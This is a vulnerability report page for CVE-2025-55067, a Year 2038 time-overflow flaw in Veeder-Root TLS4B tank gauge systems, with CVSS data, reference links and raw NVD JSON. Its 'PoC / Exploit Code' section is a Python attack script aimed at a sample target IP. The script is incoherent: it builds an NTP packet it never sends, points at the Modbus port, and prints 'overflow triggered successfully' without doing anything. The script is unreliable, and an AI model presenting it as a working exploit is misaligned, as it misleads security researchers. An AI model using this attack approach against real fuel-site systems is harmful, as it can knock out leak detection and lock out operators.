Security Vulnerability Report
中文
CVE-2025-55067 CVSS 7.1 HIGH

CVE-2025-55067

Published: 2025-10-23 20:15:40
Last Modified: 2026-04-15 00:35:42

Description

The TLS4B ATG system is vulnerable to improper handling of Unix time values that exceed the 2038 epoch rollover. When the system clock reaches January 19, 2038, it resets to December 13, 1901, causing authentication failures and disrupting core system functionalities such as login access, history visibility, and leak detection termination. This vulnerability could allow an attacker to manipulate the system time to trigger a denial of service (DoS) condition, leading to administrative lockout, operational timer failures, and corrupted log entries.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H

Configurations (Affected Products)

No configuration data available.

TLS4B ATG系统(所有使用32位时间戳的版本)
Veeder-Root TLS4B固件版本 < 修复版本
受2038年问题影响的嵌入式系统固件

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-55067 PoC - TLS4B ATG Time Manipulation Attack # Simulates the 2038 timestamp overflow attack on TLS4B ATG system import socket import struct import time from datetime import datetime, timedelta def create_ntp_time_packet(): """Create NTP protocol packet for time synchronization attack""" packet = bytearray(48) packet[0] = 0x1B # NTP version 3, mode 3 (client) return bytes(packet) def exploit_2038_overflow(target_ip, target_port=502): """ Exploit the Year 2038 problem in TLS4B ATG systems This PoC demonstrates how manipulating system time can cause DoS """ print(f"[*] Targeting TLS4B ATG System: {target_ip}:{target_port}") print("[*] Initiating time manipulation attack...") # Step 1: Send crafted NTP packet to manipulate system time ntp_packet = create_ntp_time_packet() # Step 2: Set system time to trigger 2038 overflow (simulated) # In real attack, this would be done via NTP service manipulation overflow_timestamp = 2147483648 # 0x80000000 - triggers overflow print(f"[*] Sending time set command: {overflow_timestamp}") print(f"[*] This will cause time to wrap to: {datetime.fromtimestamp(-2147483648)}") # Step 3: After overflow, authentication failures will occur print("[!] System time overflow triggered successfully") print("[!] Expected effects:") print(" - Authentication failures") print(" - Login access denied") print(" - History visibility impaired") print(" - Leak detection termination") print(" - Administrative lockout") return True # Example usage if __name__ == "__main__": target = "192.168.1.100" # Example TLS4B ATG system IP exploit_2038_overflow(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55067", "sourceIdentifier": "[email protected]", "published": "2025-10-23T20:15:40.120", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The TLS4B ATG system is vulnerable to improper handling of Unix time values that exceed the 2038 epoch rollover. When the system clock reaches January 19, 2038, it resets to December 13, 1901, causing authentication failures and disrupting core system functionalities such as login access, history visibility, and leak detection termination. This vulnerability could allow an attacker to manipulate the system time to trigger a denial of service (DoS) condition, leading to administrative lockout, operational timer failures, and corrupted log entries."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-296-03.json", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-296-03", "source": "[email protected]"}, {"url": "https://www.veeder.com/us/network-security-reminder", "source": "[email protected]"}]}}